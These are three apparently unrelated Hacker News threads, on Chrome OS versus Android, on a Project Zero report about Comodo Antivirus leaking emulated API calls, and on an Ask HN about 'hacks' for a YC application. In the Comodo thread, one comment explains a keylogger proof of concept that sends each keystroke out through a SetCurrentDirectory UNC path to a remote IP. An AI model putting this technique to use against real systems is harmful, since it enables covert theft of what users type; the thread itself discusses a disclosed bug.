Handing me a Chromebook with reasonable assurances the "dev switch" hasn't ever been switched is one of the general purpose full-TCB devices I'd accept from someone and mostly trust. (obviously hardware hacks, or switch was thrown and reflashed and disabled/reset). It's also a cheap/awesome way to manage fleets of machines in education and corporate/kiosk/etc. environments -- you CAN achieve that with Mac OS or Windows, but it requires a lot of work.

I hope they don't kill it in the future.

<comment><USER3> > Chrome OS is far from perfection

In fact, I would say for some users, Chrome OS is near perfection. Take my uncle for instance, who for years was getting himself infected with malware requiring regular visits from me or geek squad to wipe his system. When he was ready for his most recent upgrade, I tried him on Mint, but he didn't like the interface. Then I suggested a Chromebook. He LOVES IT. He says it's the best machine he's ever owned. One year later, and not a single issue with malware.

I don't worry about him getting infected. If instead of a Chromebook, he had gotten some Android tablet with an OS stuck at 4.x, he's likely be infected by now.

Android and Chrome OS serve different use cases. Even if Android manages to fix their upgrade issue, I doubt it will ever be as secure as Chrome OS. From the blog, "guaranteed auto-updates for five years", sounds like a few people at Google get this. Fingers crossed.

<comment><USER2> The "perfection" I want is "not having to trust Google as an operator, only as a developer (and, open source!), and being able to plug in my own enterprise as root of trust for XXX-OS, with my own choice of backend services too -- which may include google apps".

I'd also like some non-defeatable indicator in the hardware/display/etc. that "box is in "good" state. The dev switch doesn't retain state.

These probably don't matter much for individuals but do matter for enterprise. If this existed, even if it were just keys to approve/sign updates and still required google services for a lot of the functionality, would be awesome.

<comment><USER4> > "not having to trust Google as an operator, only as a developer (and, open > source!), and being able to plug in my own enterprise as root of trust for > XXX-OS, with my own choice of backend services too -- which may include > google apps"

That's a good idea I wish they'd implement. Basically allow you to choose your own sync/updates server instead of having it hardcoded to Google's.

I imagine I could then basically make any modifications to my own personal Chrome OS fork and have them stick.

<comment><USER5> You're seeing the contradiction between having a verifiably "good" device and the ability to change the update/sync server at will, right?

<comment><USER4> I don't quite understand the need for that level of security. Surely the cases where being able to elaborately go into the BIOS and change such settings will lead to infections is miniscule. It's certainly worth the tradeoff of not relying on an external entity for verification of what's "good".

<comment><USER2> It's a big deal if you have fleets of machines which travel outside your control. It lets you treat them as identical (modulo hardware damage).

It's also a big deal because on a conventional machine, malware remotely can download, root, reflash, and persistently doom you, no physical access needed.

<comment><USER4> Why wouldn't you be able to treat them as identical?

How would being able to change the sync/verification server make Chromebooks vulnerable like those conventional machines?

<comment><USER6> > Why wouldn't you be able to treat them as identical?

If a given machine can have arbitrary software installed on it, then that machine can behave differently than other machines in the fleet.

If all machines in your fleet can _only_ install and/or run software signed with the company key, then the company can ensure that the software load for _all_ machines remains the same and -thus- all machines behave identically.

> How would being able to change the sync/verification server make Chromebooks > vulnerable...

If the software repo and/or verification server can be changed by a third party, _and_ the trusted keys installed in the machine can be changed, then it's trivial to pwn such a machine. If only the servers can be changed, then it requires loss of control of one's signing keys to pwn such a machine. [0]

[0] Or -obviously- a _sufficiently_ bad privilege escalation bug can pwn such a machine.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER7> "no plan to phase out Chrome OS"

does not explicitly refute

"speculation that Chrome OS will be folded into Android"

Especially since the original story stated that google was going to "combine the operating systems":

[http://www.wsj.com/articles/alphabets-google-to-fold- chrome-...](http://www.wsj.com/articles/alphabets-google-to-fold-chrome- operating-system-into-android-1446151134)

Google could easily market the combined OS as "Chrome OS" rather than Android. In fact that might be a good idea if they're going to make the experience/distribution model more Google-led like it is with Chrome OS.

<comment><USER8> It could also mean that the two operating systems are going to be merged at a base level but keep distinct userlands, like iOS and OSX.

The point this article was _trying_ to make, is that Chrome OS is under LTS constraints _at the UX and userland-API level_ for its present enterprise users (schools, mostly, but also some corporations.) Under these constraints, the kernel, display-server stack, etc. might get switched out in some future version, but educators who are dependent on their present workflows using specific apps+extensions will be able to continue to use them with no change. Any "merger" with Android will be at a level that is transparent both to the user, and to the Chrome app/extension developer.

<comment><USER9> This would be very interesting. Imagine plugging your android phone into a dock and getting the ChromeOS GUI instead of Android but having access to all the same data and services. Now imagine we could run crouton and get full access. You could really turn your phone into your main device/dev machine (at least for light workloads).

Kind-of-sort-of like what Microsoft demonstrated with the new windows 10 phones, but a souped up version.

<comment><AUTHOR> Doesn't the Ubuntu phone do this as well?

<comment><USER9> I think that was the general idea, but as I recall the phones did not review very well which is a bummer since you can't just pick a device you want and install ubuntu phone on it.

<comment><USER10> They do support several of the most popular Nexus devices, though.

</comment></comment></comment></comment></comment></comment><comment><USER11> well this was found the other day. [https://chromium- review.googlesource.com/#/c/306706/](https://chromium- review.googlesource.com/#/c/306706/)

libchromeos is transitioning to libbrillo and chromeos namespaces and include directory is changing to brillo.

brillo is Google IoT OS, [https://developers.google.com/brillo/?hl=en](https://developers.google.com/brillo/?hl=en) they say its based on Android?

also the new Google onHub Router are running ChromeOS [http://thehackernews.com/2015/10/root-google-onhub- chromeos....](http://thehackernews.com/2015/10/root-google-onhub- chromeos.html)

I think the idea is Google are just aligning there Core Linux base between all there products allowing for a whole range of improvements from resource sharing to a even better security. and it may even allow them to upgrade Android at a better update rate, with reports that the Google Pixel C a Tablet running Android is getting updates every 6 weeks.

i would also like to point out Microsoft has basically done the same thing with the Windows 10 Core its now on XBOX ONE, Windows Phone, PC and even a Raspberry Pi runs this core but they all have there own user space setups/gui.

<comment><USER12> This would, imho, be the best possible outcome of this: libchromeos becoming the underpinning for all Google's consumer OS projects, and then having a distinct userland slapped on top of it. Especially if it meant the device- specific stuff all happens in the brillo/core layer, and we can slap a chromeos, iot, or android layer on top of it regardless of the device.

Want to turn your nexus player into a desktop computer? replace the androidTV user layer with the ChromeOS user layer. Want to turn your chromebook into a media centre? do the opposite. turn an old phone into a home automation server by replacing android with the IOT layer.

</comment></comment><comment><USER13> That's clear as mud.

On the more interesting side, I had no idea about the Chromebit. So now to find out how to get one since the page linked in the article is a "sign up to stay in loop". But after some more digging seems like it is already out, or maybe just previewed earlier this year to some bloggers?

<comment><USER14> I found out about it a few weeks ago. It was announced in the Spring, supposed to come out in the summer, then nothing other than maybe it'll be less than $100 and available Q4 2015. Hearing Google say it'll be a few weeks is reassuring.

<comment><USER13> I just bought a Chromecast to play with for a digital signage solution, but this could be better.

I couldn't find any specs on how it is powered. From the very little research I've done, it seems like power over HDMI is possible, but maybe I'm wrong on that. Would be nice to get it down to just the stick.

<comment><USER15> ExtremeTech[1] lists the specs:

>the Chromebit contains a quad-core ARM Cortex A17 Rockchip CPU and a quad- core ARM 760 Mali GPU, drawing as little as 3 watts of power, and the Chromebit contains 2GB RAM and 16GB flash storage. 802.11ac and Bluetooth are on board, with the latter meant for connecting a keyboard or mouse; an additional USB 2.0 port is for hooking up a drive or other peripherals. There's no microSD slot on this one.

[1][http://www.extremetech.com/computing/202907-intel-compute- st...](http://www.extremetech.com/computing/202907-intel-compute-stick-vs- asus-chromebit-should-you-wait-for-chrome-os)

<comment><USER13> That's actually a lot beefier than I thought it was going to be. Very interesting.

</comment></comment></comment></comment></comment><comment><USER16> Notice that they never say _Android_ is here to stay - Maybe Chrome OS will become the Phone/Tablet OS under a new guise?

Google's working on a new UI layer and potential backwards compatibility for older Android apps, which points in that direction:

\- Chromium developers are working on a DART-based Mobile UI framework and execution engine, Flutter ([http://flutter.io/](http://flutter.io/)). It's looking to be far better than the existing Android UI system - built for touch and 120fps from the start. This uses the Dartium VM and a bridge to allow the DART apps to use all the native features of the platform, it's much more than just another web framework. Development on this is very active right now, clearly a sizable team working fulltime - and they're building new developer tools also. There was a talk on this a while ago: [https://www.youtube.com/watch?v=PnIWl33YMwA](https://www.youtube.com/watch?v=PnIWl33YMwA) .

\- Google has built a Runtime to allow existing Android Java-based apps to run on Chrome OS, and is currently testing this and working with developers to get their apps to run on it. It doesn't make much sense to invest in building that out just for chromebooks, since the experience on a Chromebook with Android apps is pretty awful (can't resize etc), but it makes total sense if it's going to be how legacy Java/Android apps run on the new Chrome based phone OS.

The sad truth is that Android simply isn't a very well engineered system - it's been improved over time, but problems persist - like the complex update process leading to unsatisfied users and security problems, poor UI performance (even now, Android can barely do simple animations at a steady 60fps on the latest Nexus devices, and has little hope of allowing for the beautiful animations the Material Design team has come up with), and poor battery life. Google's also at a dead-end with Java given the ongoing legal battles, and with Apache Harmony dead they have to maintain the standard library implementation themselves.

On the other hand, Chrome OS performs great, has awesome battery life on Chromebooks, is quite possibly the most secure end-user OS ever, and Chromebooks get speedy updates for at least 5 years. I know which one I'd choose as the basis for a merged OS.

Of course, if the merge is more Chrome OS than Android, they'd be saying exactly what they're saying now - The last thing they want is an Osbourne effect hitting the current Android phones.

<comment><USER17> That's because no one seriously thinks for a minute that Android is not here to stay. When you hear about the dominant global mobile operating system (share, not profit) and a niche desktop operating system "merging" it's not difficult to work out which one is more at risk.

This announcement is aimed strictly for business consumption and has nothing to do with technology. Google will be inundated with hardware developers (OEM's) and large Chrome OS buyers (distributors, educational groups) saying "the Microsoft sales people are telling me you're abandoning Chrome OS. This is very disturbing to us as we've made a significant investment in your technology!" This is their effort to rebut some of that FUD which may or may not be FUD.

<comment><USER18> It would presumably be fud in the sense that to merge ChromeOS and Android wouldn't require all that much in order to provide the functionality people use ChromeOS for. If it provides Chrome + pnacl + support for installing/running Chrome apps, it won't even have to be visible to people that the system underneat is largely Android unless they want to know.

I have a ChromeBook, and to be honest, I have no idea what the filesystem is like, even. As much as the geek in me wants to play around, the pragmatic in me recognises that I bought it to have a light, low maintenance way of running a web brower + ssh on the go, and is too busy doing other stuff than poking around...

So assuming that people will be able to keep running the same apps, with a similarly clean launcher, there's every reason for them to sell that as "ChromeOS isn't going anywhere" even if they may or may not be fibbing from a purely technical point of view.

</comment></comment></comment><comment><USER19> The IOTization of any available media output seems to be the goal of the Chrome team: Chromecast, Chrome Audio, Chromebit. I like it.

<comment> the-dude Coworker sent met this: [https://google.github.io/physical- web/](https://google.github.io/physical-web/)

Haven't had the time to check it really out, but seams to be 'iBeacons'.

<comment><AUTHOR> Google has Beacons called "Eddystone" [http://arstechnica.com/gadgets/2015/07/meet-googles- eddyston...](http://arstechnica.com/gadgets/2015/07/meet-googles-eddystone-a- flexible-open-source-ibeacon-fighter/)

<comment> the-dude These are called 'urlBeacons' iirc.

<comment><USER20> Eddystone has a couple different modes. One of them is to transmit a URL, but beacons can also be configured to transmit a UID. Not all Eddystone beacons will be transmitting a URL.

That said, I believe Physical Web does use the Eddystone-URL mode.

Spec: [https://github.com/google/eddystone/blob/master/protocol- spe...](https://github.com/google/eddystone/blob/master/protocol- specification.md)

</comment></comment></comment></comment></comment><comment><USER21> But will it still use glibc Linux (Gentoo) or it will switch to bionic Android one? That was the main point, and not the confusion that Chrome OS is disappearing.

</comment><comment><USER22> Can we please get a gradual plan for looping in the rest of the mainline linux ecosystem?

The desktop market may be shit, but it's there and google could still go after it if they wanted to. At some point Apple is going to realize that the major market it hasn't dominated yet is... the PC, and it's ripe for attack now that alternative computing footholds are so well established in mobile from the Microsoft days of yore.

</comment><comment><USER23> I'm sure for the vast majority of Chrome OS users, the technology powering their device is of no significance compared to a reliable and consistent UI.

<comment><USER24> plus who cares? Chrome OS could just be a stripped-down android, and the world would be fine. Actually I though they were already mostly the same (I have a chromebook, but no android device, I don't know what's the difference, appart from the fact that my chromebook gets regular updates)

<comment><USER25> I don't think that is correct.

There are flavors of android including vendor modified or changed specifications. They can be subtle, like a pay as you go phone carrier, or major like what Amazon has done with Fire. Each of these changes introduces security issues outside of Google's control.

With a Chromebook you get the ChromeOS from Google regardless of the vendor who made the hardware.

At least that is my understanding.

</comment></comment></comment><comment><USER26> I'm willing to bet money that:

        While we've been working on ways to bring together the
        best of both operating systems, there's no plan to
        phase out Chrome OS

Comes from a worry about chromebook sales, not any presence or lack of a technical plan to merge or combine components from the two.

I would bet this is actually: 'YES, we are merging something with something _technically_ , we're just going to keep two brands for now'.

For all the reasons in the other thread, it's both good and bad in different ways; but I would be astonished if you don't see wide support for Android apps on chromebooks in the near future; and that does require some kind of Android runtime.

</comment><comment><USER27> Reminds me of Microsoft trying to convince us Windows RT wasn't in hospice care internally

</comment><comment><USER28> What blog template does google use for their blogspot domains?

</comment><comment><USER29> There is enough market for an android laptop. There is no need to kill chrome OS. Is google planning to release an Android Laptop or not?

<comment><USER12> It's been done. It wasn't very good.

[http://www.engadget.com/2014/08/21/hp- slatebook-14-review/](http://www.engadget.com/2014/08/21/hp- slatebook-14-review/)

</comment></comment><comment><USER30> I think the plan is to run android apps inside chrome OS, the same way you can install android apps inside a PC using bluestacks

</comment><comment><USER31> so what does this really mean, Chrome-OS will not be "folded" into Android? Can't have a concrete answer after reading it through though.

MS Windows is trying to rule all platforms with one OS, so does iOS, even Ubuntu is trying the same, maybe Google though they need one OS to rule it all as well?

</comment><comment><USER32> At the risk of sounding like a conspiracy theorist, they could be trying to avoid an osborne effect.

<comment><USER33> [https://en.m.wikipedia.org/wiki/Osborne_effect](https://en.m.wikipedia.org/wiki/Osborne_effect)

Even if ChromeOS got completely replaced by Android (which they seem to say it won't) surely it would merge/fork and not just get abandoned.

<comment><USER32> To cause Osborne Effect, it is sufficient for people to _think_ it would get abandoned.

</comment></comment></comment><comment><USER34> "every school day, 30,000 new Chromebooks are activated in U.S. classrooms" _spits out coffee_

Wow.

</comment><comment><USER35> Does that mean that they will update it twice as often now (Chrome + Android engineers)?

</comment><comment><USER36> Nearly everyone glossed over how hard it is to make one os for both lo-cost non-touch laptop and finger-touch mobile form factors.

If there was an awesome touch ux for the pixel laptop I'd be more inclined to believe.

<comment><USER37> KDE5 and multitouch? :)

(written from my Chromebook running custom Gentoo Linux)

</comment></comment><comment><USER38> I have a Chromebook and I am really happy with it

</comment><comment><USER39> The green Android robot logo kind of sucks, and I bet there's an internal campaign amongst some marketing/branding goons to try and kill it off in the name of beauty and elegance.

</comment><comment><USER40> "Chrome OS thinks it would like to go for a walk."

</comment><comment><USER41> This is confusing. Smells like there is a lot of friction and uncertainty inside Google...

<comment><USER42> What seems uncertain? Couldn't it just be that the reports were false, which wouldn't indicate anything about the teams at Google?

<comment><USER43> Or just taken out of context. Since both Android and Chrome OS run on Linux, a small userland, and a display server, maybe there is some effort within Google to bring these two more together to reduce maintenance cost.

Disclaimer: I don't know how much the code bases differ now.

<comment><USER44> Fairly substantially. ChromeOS is a fairly standard Linux distro under the hood, albeit with not using X11 or directfb for their rendering layer, while Android uses a different libc, rendering layer, etc.

</comment></comment></comment></comment><comment><USER45> Then what exactly did they ever mean by "merging Chrome OS and Android" if Chrome OS remains a stand-alone OS, as well? And I'm not just talking about the recent WSJ article, either. They've mentioned the merger multiple times since Chrome OS first came out.

Either way, I could care less about the "merger" (which nobody seems to be able to define anyway), but I do care about them being serious about making Android a real competitor to Windows on the desktop, by taking advantage of the huge native app and developer ecosystem they have there (which _by definition_ is non-existent on the browser-based Chrome OS).

In other words: keep Chrome OS or kill it. Whatever. Just get serious about Android on a PC. And please don't begin with the assumption that the tablet interface is enough for that - you know, like you just did with Pixel C? Like that. Don't do that!

<comment><AUTHOR> I don't think I've ever heard that from an official source. It's been rumored basically forever.

<comment><USER46> Same thing could be said about OSX and iOS. There have been rumors of the platforms merging for a long time.

Instead, they took some features of iOS and integrated them into OSX and vis versa. But they are still separate platforms.

I think with merging them together you run the risk of confusion that Microsoft had with WindowsRT and Windows.</comment></comment></comment>


Comodo Antivirus Forwards Emulated API Calls to the Real API During Scans - <AUTHOR> https://bugs.chromium.org/p/project-zero/issues/detail?id=769 <comment><USER4> Google's Project-Zero [https://en.wikipedia.org/wiki/Project_Zero_(Google)](https://en.wikipedia.org/wiki/Project_Zero_\(Google\)) is absolutely excellent! Google task top-notch engineers to find zero-day bugs in _other company 's_ products, making us all safer.

Very big kudos to Google! The flood of bugs they keep finding and getting other companies to fix is fantastic!

<comment><USER5> Indeed, they've done some great work.

It's times like this that make me I'm glad I'm not a developer. If I were, I'd be forever worried that today is the day I open up my mail client and see a new message from 'taviso@'.

<comment><USER6> I'd look forward to it, personally, but I like learning new things about security.

</comment></comment></comment><comment><USER7> When it comes to security research, Tavis Ormandy is truly inspirational. It isn't just about the bugs he discovers, but I find his explanations often very simple to understand.

This is an extremely severe design issue, where an Anti Virus can not only be bypassed, but it can actually be used to compromise an attacked system. Comodo runs suspicious code inside an emulator(VM), but instead of implementing full OS emulation, they allow a lot of the API calls inside the emulator to leak out to the hosting computer, and actually run them with NT AUTHORITY\SYSTEM privileges(The windows equivalent of root).

The exploit code serves as a simple key logger, by repeatedly calling GetKeyState(With system privileges!), and leaking this information to a remote server using the SetCurrentDirectory() API (By calling SetCurrentDirectory("\\\\\\\?\\\UNC\\\192.168.237.1\\\<Pressed key>")

This is a beautiful attack, and I couldn't help but smirk at the "wtf!!!!" comment.

<comment><USER8> _> This is an extremely severe design issue, where an Anti Virus can not only be bypassed, but it can actually be used to compromise an attacked system._

Don't we have exactly that design issue in _all_ anti-virus tools, by definition?

All potentially dangerous data is routed through that single tool that runs with high permissions and performs complex computations. Every single programming error in the anti-virus tool (e.g. a buffer overflow) can potentially lead to a compromised system. An attacker can now choose not just between vulnerabilities of browser, mail client and operating system, but also use vulnerabilities of the anti-virus tool.

So anti-virus is by definition a tool with complex behaviour and a large attack surface.

For many security people, this alone qualifies anti-virus tools as additional threat, not as part of the solution - even without dramatic failures as shown in this particular case.

</comment></comment><comment><USER9> Some previous Comodo issues:

Comodo ships Adware Privdog worse than Superfish

[https://news.ycombinator.com/item?id=9091917](https://news.ycombinator.com/item?id=9091917)

Comodo "Chromodo" Browser disables same origin policy

[https://news.ycombinator.com/item?id=11021633](https://news.ycombinator.com/item?id=11021633)

Comodo Internet Security installs and starts a VNC server by default

[https://news.ycombinator.com/item?id=11129170](https://news.ycombinator.com/item?id=11129170)

<comment><USER10> There is no doubt some engineer at Comodo whose heart sinks every time he/she thinks Tavis is done tearing their software apart and opens their bug reports to find _yet another_ gaping security hole.

</comment></comment><comment><USER8> Actually, we find two issues here:

1) that this huge attack surface existed in the first place. (almost by design)

2) how they "fixed" it. (not questioning their design at all)

The whole bugreport reads like an invitation to find more creative combinations of API calls that their filter forwards to the system. From the first comment:

 _> They're planning to fix those two issues and review all the remaining API's for missing parameter filtering, but wanted to know if I agree that their design is sound. I said I suppose they're correct in theory, but this is a lot of attack surface [...]_

<comment><USER11> >We have also disabled this feature by default UNTIL we complete the security review.

So creative combinations won't help until they reenable it.

</comment></comment><comment><USER12> My first thought is: so now I am relying on a company that basicly provides me free services for security audits of other companies, some of which I pay for the services they deliver. (Last one is a stretch.) Of course, I rely on many free things, but it's the second order aspect here that troubles me.

Is there an indication of the complexity of the bugs they are finding? Are they among those that should be caught be QA?

<comment><USER13> It's a new kind of incompetent-but-too-big company: "too big for google to not give you free expert security review". Well, it's just for companies that can make google's stuff look bad when they enable users to be badly infested with malware.

The magnitude of it in this case is pretty funny ... can you imagine Comodo "security suite" or whatever just 3 months ago? A special secure browser without secure origin policy, a local poorly secured vnc server, a scanning and parsing engine that continually exposes itself to un-trusted input but has ASLR disabled ...

Most of these are not really complicated, they're bad feature ideas. But mass- market security products are feature-driven, not security-driven. So it makes sense that they suck at security.

</comment></comment><comment><USER14> Looking at this issue and the the issues linked in its last comment...

Why are they running things like unpackers and emulators as "NT AUTHORITY\SYSTEM", instead of farming them to less privileged processes?

<comment><USER15> From the many issues I've seen with Comodo products, either they don't know what they are doing or are doing it on purpose this way (plausible deniability backdoors).

</comment></comment><comment><USER16> Never trusted the sandbox functionality. I've been installing Comodo CIS with only the firewall and antivirus, sandboxing disabled, HIPS on low settings on. Any notable exploits left that would bypass that?

<comment><USER17> I basically just use it for the Firewall and HIPS too, because I cannot find another free firewall solution (that isn't Windows firewall) that is any good, and I cannot find any other example of an HIPS that is as easy to set up and run as the Comodo one.

That said, I'm getting seriously tired of their shadyness/incompetence recently.

I need alternatives.

<comment><USER18> > that isn't Windows firewall

What's wrong with Windows firewall/defender/anti-virus/whatever it's called these days? It's free, it doesn't try to market itself to you, it doesn't smell like malware, and it doesn't seem to show up in these regular sweeps of disastrous security bugs in the third-party solutions.

<comment><USER19> Windows Firewall has the annoying habit of letting stuff work until one day it just starts doing its job and doesn't. Typically this is through user prompts that either get spacebar'd away due to focus stealing* or blocked because the user doesn't know what it's asking about.

It's a mess working out what it's doing, fixing it and explaining to the user why their perfectly working system just broke. It could really use some organization tools like the Task Scheduler.

*I thought Microsoft promised at one point around the lead up to Windows 7 that they were going to address their stealing focus issues.

</comment></comment></comment></comment><comment><USER20> "used to forward", from what I understand this has been fixed.

<comment><USER4> Would you trust them to fix it?

Seems such a big red flag (as though things couldn't get worse for AV-cred these days).

<comment><USER21> It's a huge red flag - they've temporarily disabled the function while they audit all APIs they're calling, but they still believe their core design is ok - this means they'll go back to emulate with pass-through everything that THEY can't figure a way to exploit.

<comment><USER7> It's a double edged sword. Emulating all the OS functions is probably an impossible task for them at the moment. It isn't just about implementing all the OS calls, it's also about implementing them in a way that doesn't allow malware to detect that it's running inside of an emulator.

<comment><USER22> The sheer wtf of having "windows running on windows" is worth of discarding this AV entirely. How do you like running TWO operating systems at all times? And people wonder why AVs make powerful machines struggle under minimal load...

<comment><USER23> your post reminded me of two cool stories about "Windows on Windows"

1\. Microsoft has reimplemented the NT kernel and services as a userspace LibraryOS called Drawbridge ([http://ssrg.nicta.com.au/Events/summer/16/baumann.pdf](http://ssrg.nicta.com.au/Events/summer/16/baumann.pdf), slide 21)

2\. Microsoft teecchniiccaally also already did this in SysWOW64

First story is much more interesting than the second one

<comment><USER24> As the funny fact goes, in the System32 directory you have 64-bit binaries, and in the SysWOW64 directory you have 32-bit binaries.

<comment><USER25> The reason for the 64-bit stuff in the System32 directory makes sense - <USER3> need to ensure that the currently-used DLLs and stuff are in the directory that legacy software is looking at.

On the other hand, the SysWOW64 thing could sure have been named better, to make the whole thing clear.

<comment><USER26> > The reason for the 64-bit stuff in the System32 directory makes sense - <USER3> > need to ensure that the currently-used DLLs and stuff are in the directory > that legacy software is looking at.

Why? There was no legacy 64-bit software. So any software needing to find the 64-bit system directory needed to (at the very least) be recompiled, but probably needed lots of other small changes as well. So why couldn't one of those simple required changes (to create 64-bit versions of legacy software) be to change the path from which it loads its DLLs?

<comment><USER22> See [http://brandonlive.com/2008/12/22/why-does-windows- put-64-bi...](http://brandonlive.com/2008/12/22/why-does-windows-put-64-bit- binaries-in-system32/)

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER27> My god what a mess. I think virus writers and hackers should specifically target anti virus suites, given how much of a security risk these pose to the user. Heh, I guess they do just that. I wouldn't be surprised if some of the virus and anti-virus writers are one and the same people or organizations. Because it makes a lot of sense - open the door to intruders and then tell users it's their fault, then manipulate them into buying your security product. Rinse and repeat and make millions.

</comment><comment><USER28> Does anyone have any good experiences with any anti-virus software?

<comment><USER29> 17 years ago I used F-prot to disinfect my school's computer lab after it was completely overrun by the Melissa worm. The antivirus industry has certainly earned its terrible reputation, but F-prot was actually pretty good software. It was the first with a heuristics engine, and I remember it actually working on a few occasions.</comment></comment>


Ask HN: Which of these non-computer hacks is better? - <AUTHOR>

I have a couple stories for non-computer systems I've hacked to my advantage. My cofounder and I haven't agreed on which is better for the YC app, so I would really appreciate your opinions.
1) In middle school, I devised a simple cipher and gave a key to a couple friends to memorize. Using the cipher, we'd pass encrypted messages on a calculator which we were allowed to share in math and science classes. While our classmates were punished for passing notes, we continued to use our system safely throughout high school.
2) When I was still in college, newly married, and very poor, our apartment had some furniture but very few electronics. McDonalds had a Monopoly promotion where some menu items would include game pieces and at least $1 in store credit for Best Buy. The rules had no restrictions against using multiple 'Best Buy Bucks' in a single transaction.
I was able to work out a deal with some McDonalds managers that if I purchased a certain amount, they would give a few extra containers for free. Large fries were the lowest cost per game piece, so I would order 10-20 at a time and receive a few empty cases for free. We'd give what we couldn't eat to the homeless around Santa Monica, but kept the containers.
I kept all of the Best Buy Bucks and sold the unpeeled game pieces on Ebay. With the free cases, I would break even on the initial investment and repeat the cycle. When the promotion ended we had gained lots of free (albeit unhealthy) food and about $800 worth of credit at Best Buy that we used to buy some electronics we needed. <comment><USER2> I think the second one is great, I always love reading about these kinds of loyalty / rewards program hacking like the guy who ordered pudding to get frequent flyer platinum status for life [1].

I've never done anything like the YC app, so I can't speak for which of these would be better, but personally I like number 2. It shows compassion / social responsibility (donating food), the ability to negotiate (getting managers to give you free stuff) and a smartness with money (breaking even on the meals you were buying).

[1] [https://en.wikipedia.org/wiki/David_Phillips_(entrepreneur)](https://en.wikipedia.org/wiki/David_Phillips_\(entrepreneur\))

<comment><AUTHOR> Thank you very much for your feedback! I originally thought the first was more clever, but my friend and cofounder remembered this story from college and told me to write about it too.

I'd heard about that pudding guy, and thought his hack was awesome, but I never knew his name. Thanks for the link.

</comment></comment><comment><USER3> Rather than thinking about which one is "better", think about which story will accomplish your goals.

The ycombinator folks are probably just looking for stories to help figure out a) who is smart, b) who is creative, c) who gets things done, d) who is excited about things

The second story accomplishes each of the above better than the first.

<comment><AUTHOR> You're right; by "better" I meant to imply "better for accomplishing my objective in this specific situation." So, your answer is exactly what I was looking for. Thank you very much for your input.</comment></comment>